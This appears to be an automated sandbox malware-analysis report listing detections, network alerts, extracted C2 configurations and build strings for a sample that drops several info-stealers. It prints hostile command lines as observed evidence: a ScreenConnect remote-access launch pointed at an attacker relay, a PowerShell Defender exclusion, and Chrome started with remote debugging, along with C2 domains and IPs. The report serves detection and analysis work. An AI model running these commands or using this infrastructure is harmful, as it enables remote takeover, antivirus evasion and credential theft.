Author: Florian Roth (Nextron Systems): Data: Command: "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=33bf1e56-ac31-4776-92e6-865a91976f78&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c=", CommandLine: "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=33bf1e56-ac31-4776-92e6-865a91976f78&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c=", CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe, NewProcessName: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe, OriginalFileName: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=33bf1e56-ac31-4776-92e6-865a91976f78&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c=", ProcessId: 2300, ProcessName: ScreenConnect.ClientService.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe" , ParentImage: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe, ParentProcessId: 6756, ParentProcessName: 20eec459fe6c4c019b42190414a26a1f.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 5808, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: ScreenConnect Client (98a59bd0eed9222b) Credential Provider, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\msiexec.exe, ProcessId: 2320, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\(Default)

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe, ParentProcessId: 1592, ParentProcessName: NN9Dd7c.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja", ProcessId: 3328, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7124, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:55.105611+0100	2028371	3	Unknown Traffic	192.168.2.6	49984	172.67.177.88	443	TCP
2024-12-19T16:10:57.093704+0100	2028371	3	Unknown Traffic	192.168.2.6	49991	172.67.177.88	443	TCP
2024-12-19T16:11:00.685589+0100	2028371	3	Unknown Traffic	192.168.2.6	50008	172.67.177.88	443	TCP
2024-12-19T16:11:03.039554+0100	2028371	3	Unknown Traffic	192.168.2.6	50020	172.67.177.88	443	TCP
2024-12-19T16:11:05.491447+0100	2028371	3	Unknown Traffic	192.168.2.6	50029	172.67.177.88	443	TCP
2024-12-19T16:11:19.266349+0100	2028371	3	Unknown Traffic	192.168.2.6	50103	172.67.177.88	443	TCP
2024-12-19T16:11:23.344982+0100	2028371	3	Unknown Traffic	192.168.2.6	50122	172.67.177.88	443	TCP
2024-12-19T16:11:27.133288+0100	2028371	3	Unknown Traffic	192.168.2.6	50145	172.67.177.88	443	TCP
2024-12-19T16:12:04.313746+0100	2028371	3	Unknown Traffic	192.168.2.6	50183	188.114.96.6	443	TCP
2024-12-19T16:12:06.534115+0100	2028371	3	Unknown Traffic	192.168.2.6	50184	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:55.778917+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49984	172.67.177.88	443	TCP
2024-12-19T16:10:58.148107+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49991	172.67.177.88	443	TCP
2024-12-19T16:11:28.521646+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50145	172.67.177.88	443	TCP
2024-12-19T16:12:05.048973+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50183	188.114.96.6	443	TCP
2024-12-19T16:12:07.312636+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50184	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:55.778917+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49984	172.67.177.88	443	TCP
2024-12-19T16:12:05.048973+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50183	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:58.148107+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49991	172.67.177.88	443	TCP
2024-12-19T16:12:07.312636+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50184	188.114.96.6	443	TCP

ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:35.627877+0100	2058402	1	A Network Trojan was detected	192.168.2.6	49911	94.130.191.168	443	TCP
2024-12-19T16:10:37.769722+0100	2058402	1	A Network Trojan was detected	192.168.2.6	49918	94.130.191.168	443	TCP
2024-12-19T16:10:40.495145+0100	2058402	1	A Network Trojan was detected	192.168.2.6	49925	94.130.191.168	443	TCP
2024-12-19T16:10:42.938159+0100	2058402	1	A Network Trojan was detected	192.168.2.6	49934	94.130.191.168	443	TCP
2024-12-19T16:10:46.468705+0100	2058402	1	A Network Trojan was detected	192.168.2.6	49946	94.130.191.168	443	TCP
2024-12-19T16:10:49.523051+0100	2058402	1	A Network Trojan was detected	192.168.2.6	49959	94.130.191.168	443	TCP
2024-12-19T16:10:50.986642+0100	2058402	1	A Network Trojan was detected	192.168.2.6	49966	94.130.191.168	443	TCP
2024-12-19T16:10:59.195335+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50000	94.130.191.168	443	TCP
2024-12-19T16:11:00.512886+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50005	94.130.191.168	443	TCP
2024-12-19T16:11:02.407812+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50016	94.130.191.168	443	TCP
2024-12-19T16:11:04.501423+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50023	94.130.191.168	443	TCP
2024-12-19T16:11:05.532851+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50028	94.130.191.168	443	TCP
2024-12-19T16:11:14.078178+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50070	94.130.191.168	443	TCP
2024-12-19T16:11:16.692863+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50096	94.130.191.168	443	TCP
2024-12-19T16:11:17.761312+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50097	94.130.191.168	443	TCP
2024-12-19T16:11:20.778530+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50108	94.130.191.168	443	TCP
2024-12-19T16:11:22.108110+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50115	94.130.191.168	443	TCP
2024-12-19T16:11:25.642957+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50140	94.130.191.168	443	TCP
2024-12-19T16:11:26.357592+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50141	94.130.191.168	443	TCP
2024-12-19T16:11:29.727238+0100	2058402	1	A Network Trojan was detected	192.168.2.6	50152	94.130.191.168	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:12:04.313746+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.6	50183	188.114.96.6	443	TCP
2024-12-19T16:12:06.534115+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.6	50184	188.114.96.6	443	TCP

ET MALWARE StealC/Vidar CnC Domain in DNS Lookup (hulkpara .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:33.330865+0100	2058401	1	A Network Trojan was detected	192.168.2.6	59542	1.1.1.1	53	UDP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:16.762155+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49855	185.215.113.43	80	TCP
2024-12-19T16:10:24.438363+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49875	185.215.113.43	80	TCP
2024-12-19T16:10:39.832658+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49922	185.215.113.43	80	TCP
2024-12-19T16:10:48.451472+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49955	185.215.113.43	80	TCP
2024-12-19T16:11:00.860468+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50007	185.215.113.43	80	TCP
2024-12-19T16:11:14.761217+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50073	185.215.113.43	80	TCP
2024-12-19T16:11:29.774464+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50153	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:11:36.705818+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50162	176.53.146.212	80	TCP
2024-12-19T16:11:38.866657+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50164	176.53.146.212	80	TCP
2024-12-19T16:11:49.474008+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50181	176.53.146.212	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:12:02.739222+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.6	60393	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:43.816661+0100	2044247	1	Malware Command and Control Activity Detected	94.130.191.168	443	192.168.2.6	49934	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:47.666469+0100	2051831	1	Malware Command and Control Activity Detected	94.130.191.168	443	192.168.2.6	49946	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:47.666284+0100	2049087	1	A Network Trojan was detected	192.168.2.6	49946	94.130.191.168	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:11:03.898179+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50020	172.67.177.88	443	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:11:22.770314+0100	2856121	1	A Network Trojan was detected	192.168.2.6	50116	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:08.108534+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49832	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:15.414525+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49838	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:12.919288+0100	2803305	3	Unknown Traffic	192.168.2.6	49844	31.41.244.11	80	TCP
2024-12-19T16:10:18.251466+0100	2803305	3	Unknown Traffic	192.168.2.6	49857	31.41.244.11	80	TCP
2024-12-19T16:10:26.070158+0100	2803305	3	Unknown Traffic	192.168.2.6	49881	31.41.244.11	80	TCP
2024-12-19T16:10:41.298155+0100	2803305	3	Unknown Traffic	192.168.2.6	49931	31.41.244.11	80	TCP
2024-12-19T16:10:49.926094+0100	2803305	3	Unknown Traffic	192.168.2.6	49960	31.41.244.11	80	TCP
2024-12-19T16:11:02.386220+0100	2803305	3	Unknown Traffic	192.168.2.6	50015	31.41.244.11	80	TCP
2024-12-19T16:11:16.362613+0100	2803305	3	Unknown Traffic	192.168.2.6	50091	31.41.244.11	80	TCP
2024-12-19T16:11:24.296261+0100	2803305	3	Unknown Traffic	192.168.2.6	50129	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:11:23.360710+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50122	172.67.177.88	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:10:38.723786+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.6	49918	94.130.191.168	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2317073116.0000000005170000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://www.microsoft.com0", "Botnet": "1402"}
Source: 54ad0685cd.exe.6696.32.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["energyaffai.lat", "aspecteirs.lat", "cheapptaxysu.click", "sustainskelet.lat", "discokeyus.lat", "rapeflowwj.lat", "crosshuaht.lat", "grannyejh.lat", "necklacebudi.lat"], "Build id": "CZJvss--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_99d8f95b-6

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.191.168:443 -> 192.168.2.6:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.6:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.6:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.6:50184 version: TLS 1.2

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbM source: ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3202614392.0000000005580000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3202614392.0000000005580000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000000.2777700544.0000000000682000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller.Package\Microsoft.Deployment.WindowsInstaller.Package.pdb source: Microsoft.Deployment.WindowsInstaller.Package.dll.28.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: ga70pjP.exe, 00000016.00000002.3200283649.00000000054E0000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, rundll32.exe, 0000001C.00000003.3047650336.00000000044C4000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3671971413.000000001B962000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3559506540.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3562215564.0000000002BB2000.00000002.00000001.01000000.00000020.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3557880062.0000000001150000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3197962575.0000000005230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: NN9Dd7c.exe, 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2976798123.00000000039D7000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000000.2953565297.0000019A3DE62000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000001F.00000000.3077135712.0000000000F3D000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: NN9Dd7c.exe, 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2976798123.00000000039D7000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000000.2953565297.0000019A3DE62000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: ga70pjP.exe, 00000016.00000002.3203015724.00000000055A0000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3115608958.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3720350204.000000001BD45000.00000002.00000001.01000000.00000022.sdmp
